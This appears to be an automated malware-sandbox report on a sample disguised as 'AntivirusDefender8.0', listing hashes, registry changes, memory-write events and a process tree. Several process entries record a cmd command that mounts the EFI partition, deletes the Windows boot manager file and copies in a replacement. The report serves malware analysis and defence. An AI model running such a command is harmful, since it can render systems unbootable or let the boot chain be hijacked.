1ee3788918d34886873b12b45d7723e64eebe81cd117dbbf95f75fb99b38ea2d

Resubmissions

08/07/2024, 11:05

240708-m639fsyaph 4

08/07/2024, 11:00

08/07/2024, 10:54

08/07/2024, 10:49

08/07/2024, 10:46

08/07/2024, 10:42

Analysis

max time kernel
76s
max time network
77s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
08/07/2024, 10:49

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Reason

Machine shutdown

Report Analysis Logs

General

Target

AntivirusDefender8.0-main/.gitattributes
Size

66B
MD5

05bdb783ee6514c8c072e47680af8ff7
SHA1

ba3dfe345280bdcc5e817bb02cf49b8b8d8e1c4c
SHA256

1a1dbe176bc233b499d35a57db7513f2941c99ab9759f177830c9149be99005b
SHA512

9e820d6126d62c0b89e380c69685f6668b2f131283f57e524f59492fa6df22844dda1b90d244d4a1f8aea78a84e65d47b1a878168c4e41001459a947ef275ffe

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "231"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000_Classes\Local Settings	OpenWith.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
840	OpenWith.exe
2072	LogonUI.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 532 wrote to memory of 1808	532	cmd.exe	100
PID 532 wrote to memory of 1808	532	cmd.exe	100
PID 1808 wrote to memory of 1772	1808	cmd.exe	102
PID 1808 wrote to memory of 1772	1808	cmd.exe	102
PID 4024 wrote to memory of 2336	4024	RUNTHISFIRST.exe	106
PID 4024 wrote to memory of 2336	4024	RUNTHISFIRST.exe	106
PID 4024 wrote to memory of 2336	4024	RUNTHISFIRST.exe	106
PID 2336 wrote to memory of 3012	2336	cmd.exe	108
PID 2336 wrote to memory of 3012	2336	cmd.exe	108
PID 2336 wrote to memory of 3012	2336	cmd.exe	108
PID 1284 wrote to memory of 4824	1284	cmd.exe	111
PID 1284 wrote to memory of 4824	1284	cmd.exe	111
PID 4824 wrote to memory of 840	4824	cmd.exe	113
PID 4824 wrote to memory of 840	4824	cmd.exe	113
PID 3204 wrote to memory of 2340	3204	cmd.exe	116
PID 3204 wrote to memory of 2340	3204	cmd.exe	116
PID 2340 wrote to memory of 1564	2340	cmd.exe	118
PID 2340 wrote to memory of 1564	2340	cmd.exe	118
PID 4812 wrote to memory of 864	4812	RUNTHISFIRST.exe	121
PID 4812 wrote to memory of 864	4812	RUNTHISFIRST.exe	121
PID 4812 wrote to memory of 864	4812	RUNTHISFIRST.exe	121
PID 864 wrote to memory of 4556	864	cmd.exe	123
PID 864 wrote to memory of 4556	864	cmd.exe	123
PID 864 wrote to memory of 4556	864	cmd.exe	123

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\.gitattributes
1⤵
- Modifies registry class
PID:2696

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:840

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:384

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
1⤵
- Suspicious use of WriteProcessMemory
PID:532
- C:\Windows\system32\cmd.exe
  cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\system32\mountvol.exe
    mountvol x: /s
    3⤵
    PID:1772

C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe
"C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c mountvol x: /s
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\SysWOW64\mountvol.exe
    mountvol x: /s
    3⤵
    PID:3012

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
1⤵
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Windows\system32\cmd.exe
  cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\mountvol.exe
    mountvol x: /s
    3⤵
    PID:840

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
1⤵
- Suspicious use of WriteProcessMemory
PID:3204
- C:\Windows\system32\cmd.exe
  cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\mountvol.exe
    mountvol x: /s
    3⤵
    PID:1564

C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe
"C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c mountvol x: /s
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\SysWOW64\mountvol.exe
    mountvol x: /s
    3⤵
    PID:4556

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa396b855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2072

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:4348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RUNTHISFIRST.exe.log

Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
memory/4024-0-0x0000000000C00000-0x0000000000C08000-memory.dmp

Filesize
32KB

Download